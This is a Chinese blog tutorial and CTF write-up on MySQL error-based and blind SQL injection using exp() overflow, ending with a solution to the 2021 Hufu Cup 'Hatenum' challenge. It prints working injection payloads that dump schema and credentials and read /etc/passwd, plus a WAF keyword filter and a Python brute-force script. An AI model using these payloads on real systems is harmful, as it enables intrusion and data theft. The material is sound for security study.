前言

前段时间做 2021 虎符杯 CTF Finalweb Hatenum 这道题时学到了使用 MySQL exp() 函数进行注入的新姿势,这里系统的总结一下。话不多少,开搞!

MySQL exp() 函数

MySQL中的EXP()函数用于将E提升为指定数字X的幂,这里E(2.718281 ...)是自然对数的底数。

EXP(X)

该函数返回E的X次方后的值,如下所示:

mysql> select exp(3);
+--------------------+
| exp(3)             |
+--------------------+
| 20.085536923187668 |
+--------------------+
1 row in set (0.00 sec)

mysql>

该函数可以用来进行 MySQL 报错注入。但是为什么会报错呢?我们知道,次方到后边每增加 1,其结果都将跨度极大,而 MySQL 能记录的 Double 数值范围有限,一旦结果超过范围,则该函数报错。这个范围的极限是 709,当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误:

mysql> select exp(709);                                       
+-----------------------+                                     
| exp(709)              |                                     
+-----------------------+                                     
| 8.218407461554972e307 |                                     
+-----------------------+                                     
1 row in set (0.00 sec)                                       

mysql> select exp(710);                                       
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql>

除了 exp() 之外,还有类似 pow() 之类的相似函数同样是可利用的,他们的原理相同。

使用 exp() 函数进行报错注入

  • 使用版本:MySQL5.5.5 及以上版本

现在我们已经知道当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误。那么我们在实际利用中如何让 exp() 报错的同时返回我们想要得到的数据呢?

我们可以用 ~ 运算符按位取反的方式得到一个最大值,该运算符也可以处理一个字符串,经过其处理的字符串会变成大一个很大整数足以超过 MySQL 的 Double 数组范围,从而报错输出:

mysql> select ~(select version());
+----------------------+
| ~(select version())  |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

mysql> select exp(~(select * from(select version())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.29' from dual)))'

mysql> select exp(~(select * from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

mysql> select exp(~(select * from(select database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'ctf' from dual)))'
mysql>

如上图所示,成功报错并输出了数据。但是事实证明,在 MySQL>5.5.53 之后,exp() 报错不能返回我们的查询结果,而只会得到一个报错:

而在脚本语言中,就会将这些错误中的一些表达式转化成相应的值,从而爆出数据。

注出数据

  • 得到表名:
mysql> select exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'flag,users' from dual)))'
mysql>
  • 得到列名:
mysql> select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name='users')x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'id,username,password' from dual)))'
mysql>
  • 检索数据:
mysql> select exp(~ (select*from(select group_concat(id, 0x7c, username, 0x7c, password) from users)x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '1|admin|123456,2|whoami|657260,3|bunny|864379' from dual)))'
mysql>
  • 读取文件(有13行的限制):
mysql> select exp(~(select * from(select load_file('/etc/passwd'))x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin' from dual)))'

一蹴而就

这个查询可以从当前的上下文中 dump 出所有的 tables 与 columns,我们也可以 dump 出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果:

mysql> select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000
ctf::flag::id
ctf::flag::flag
ctf::users::id
ctf::users::username
ctf::users::password' from dual)))'
mysql>

Injection in Insert

根据 Insert 位置的注入方式按部就班就好了。假设原来的插入语句如下:

insert into users(id,username,password) values(4,'john','679237');

我们可以在 username 或 password 位置插入恶意的 exp() 语句进行报错注入,如下所示:

# username处插入: john' or exp(~(select * from(select user())x)),1)#, 则sql语句为: insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1)#','679237');

mysql> insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1);#','679237');;
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql>

爆出所有数据:

# username处插入: john' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1)#

mysql> insert into users(id,username,password) values(4,'john' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1);#','679237');
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000
ctf::flag::id
ctf::flag::flag
ctf::users::id
ctf::users::username
ctf::users::password' from dual)))'
mysql>

Injection in Update

根据 Update 位置的注入方式按部就班就好了。假设原来的插入语句如下:

update users set password='new_value' WHERE username = 'admin';

我们可以在 new_value 或后面的 where 子句处插入恶意的 exp() 语句进行报错注入,如下所示:

# new_value处插入: abc' or exp(~(select * from(select user())x))#, 则sql语句为: update users set password='abc' or exp(~(select * from(select user())x))# WHERE username = 'admin';

mysql> update users set password='abc' or exp(~(select * from(select user())x));# WHERE username = 'admin';
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql>

使用 exp() 函数进行盲注

有的登录逻辑会根据 sql 语句的报错与否返回不同的结果,如果我们可以控制这里得报错的话便可以进行盲注。下面我们通过一个 CTF 例题来进行详细探究。

2021 虎符杯 CTF Finalweb Hatenum

进入题目是一个登录页面:

题目给出了源码:

  • home.php
<?php
require_once('config.php');
if(!$_SESSION['username']){
    header('location:index.php');
}
if($_SESSION['username']=='admin'){
    echo file_get_contents('/flag');
}
else{
    echo 'hello '.$_SESSION['username'];
}
?>

登录进去便能得到flag。

  • login.php
<?php
require_once('config.php');
array_waf($_POST);
if(isset($_POST['username'])&&isset($_POST['password'])&&isset($_POST['code'])){
    $User = new User();
    switch ($User->login($_POST['username'],$_POST['password'],$_POST['code'])) {
        case 'success':
            echo 'login success';
            header('location:home.php');
            break;
        case 'fail':
            echo 'login fail';
            header('location:index.php');
            break;
        case 'error':
            echo 'error';
            header('location:index.php');
            break;
    }
}
else{
    die('no use');
}
?>
  • config.php
<?php
error_reporting(0);
session_start();
class User{
    public $host = "localhost";
    public $user = "root";
    public $pass = "123456";
    public $database = "ctf";
    public $conn;
    function __construct(){
        $this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
        if(mysqli_connect_errno()){
            die('connect error');
        }
    }
    function find($username){
        $res = $this->conn->query("select * from users where username='$username'");
        if($res->num_rows>0){
            return True;
        }
        else{
            return False;
        }

    }
    function register($username,$password,$code){
        if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
            return True;
        }
        else{
            return False;
        }
    }
    function login($username,$password,$code){
        $res = $this->conn->query("select * from users where username='$username' and password='$password'");
        if($this->conn->error){    // 如果sql语句报错就返回error
            return 'error';
        }
        else{
            $content = $res->fetch_array();
            if($content['code']===$_POST['code']){
                $_SESSION['username'] = $content['username'];
                return 'success';
            }
            else{
                return 'fail';
            }
        }

    }
}

function sql_waf($str){
    if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
        die('Hack detected');
    }
}

function num_waf($str){
    if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
        die('Huge num detected');
    }
}

function array_waf($arr){
    foreach ($arr as $key => $value) {
        if(is_array($value)){
            array_waf($value);
        }
        else{
            sql_waf($value);
            num_waf($value);
        }
    }
}

过滤的死死地,把我会的都过滤了,甚至过滤了一些我压根不会的。但还是遗漏了一些字符,比如反斜杠 \、括号 () 等。

有了反斜杠 \ 之后,我们可以在 username 中输入转义符将前面的引号转义,造成引号错误闭合,实现万能密码:

"username": "admin\\",
"password": "||1#",
"code": "xxx"

但是还需要 code 才行,所以我们的思路是使用 rlike(即regexp)按照之前regexp匹配注入的方法,将 code 匹配出来。

我们又在 login 函数中注意到:

if($this->conn->error){    // 如果sql语句报错就返回error
    return 'error';
}

如果 sql 语句出现错误便返回字符串 "error",然后进入到 login.php 中就会返回 error。根据这里的特性,如果我们可以控制这里的报错的话,便可以进行盲注。

但是怎么构造呢?

在网上的看到了大佬的思路是真的巧妙:

||exp(710-(... rlike ...))

即如果 (... rlike ...) 中的语句执行匹配后的结果为True,经过减号转换后为 exp(710-1) 后不会溢出;若为false,转换为 exp(710-0) 后则会溢出并报错。

大致的 payload 如下:

'username': 'admin\\',
'password': '||exp(710-(code rlike binary {0}))#',
'code': '1'

但是由于过滤了引号,所以 rlike 无法直接引入 %^,按照之前regexp注入的操作我们可以将 ^ 联通后面猜测的字符一块做 Hex 编码,即:

def str2hex(string):  # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
    result = ''
    for i in string:
        result += hex(ord(i))
    result = result.replace('0x', '')
    return '0x' + result

......

passwd = str2hex('^' + name + j)
payloads = payload.format(passwd).replace(' ',chr(0x0c))
postdata = {
    'username': 'admin\\',
    'password': payloads,
    'code': '1'
}

但是令我没有想到的是,题目还限制了 password 位置匹配的字符串长度,最长只能匹配 4 个字符,如果超过了 4 个则会返回 Huge num detected 错误。那这样的话我们便不能在 payload 里面使用 ^ 了,也就没有办法在正则表达式中确定首位的位置,我们只能知道有这么几个连续的字符,就像下面这样:

然后首先爆破出前三位来,然后再通过前 3 位爆第4位,再通过第2、3、4位爆第5位......

编写如下脚本进行爆破:

import requests
import string

def str2hex(string):  # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
    result = ''
    for i in string:
        result += hex(ord(i))
    result = result.replace('0x', '')
    return '0x' + result

strs = string.ascii_letters + string.digits + '_'
url = "http://be2ae7e7-9c0e-4f21-8b3a-97e28c20d79c.node3.buuoj.cn/login.php"
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = '||exp(710-(code rlike binary {0}))#'
if __name__ == "__main__":
    name = ''
    z = 3
    for i in range(1, 40):
        for j in strs:
            passwd = str2hex(name + j)
            payloads = payload.format(passwd).replace(' ',chr(0x0c))
            postdata = {
                'username': 'admin\\',
                'password': payloads,
                'code': '1'
            }
            r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
            #print(r.text)
            if "fail" in r.text:
                name += j
                print(j, end='')
                break

        if len(name) >= 3:
            for i in range(1, 40):
                for j in strs:
                    passwd = str2hex(name[z - 3:z] + j)  # ergh
                    payloads = payload.format(passwd).replace(' ', chr(0x0c))
                    postdata = {
                        'username': 'admin\\',
                        'password': payloads,
                        'code': '1'
                    }
                    r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
                    # print(r.text)
                    if "fail" in r.text:
                        name += j
                        print(j, end='')
                        z += 1
                        break

出结果了,别高兴的太早,因为这里陷入了一个死循环当中:

erghruigh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh......

可以看到爆出 erghruigh2 之后不停地循环出现 uygh2,所以我们可以推测出真正的 code 里面有两个 gh2,其中位于前面的那个 gh2 后面紧跟着一个 u,即 gh2u。后面那个 gh2 后面跟的是那个字符我们还不能确定,那我们便可以测试一下除了 u 以外的其他字符,经测试第二个 gh2 后面跟的字符是 3,即 gh23,然后继续根据 h23 爆破接下来的字符就行了,最后得到的 code 如下:

erghruigh2uygh23uiu32ig

然后直接登陆即可得到 flag:

Ending......

点击收藏 | 3 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖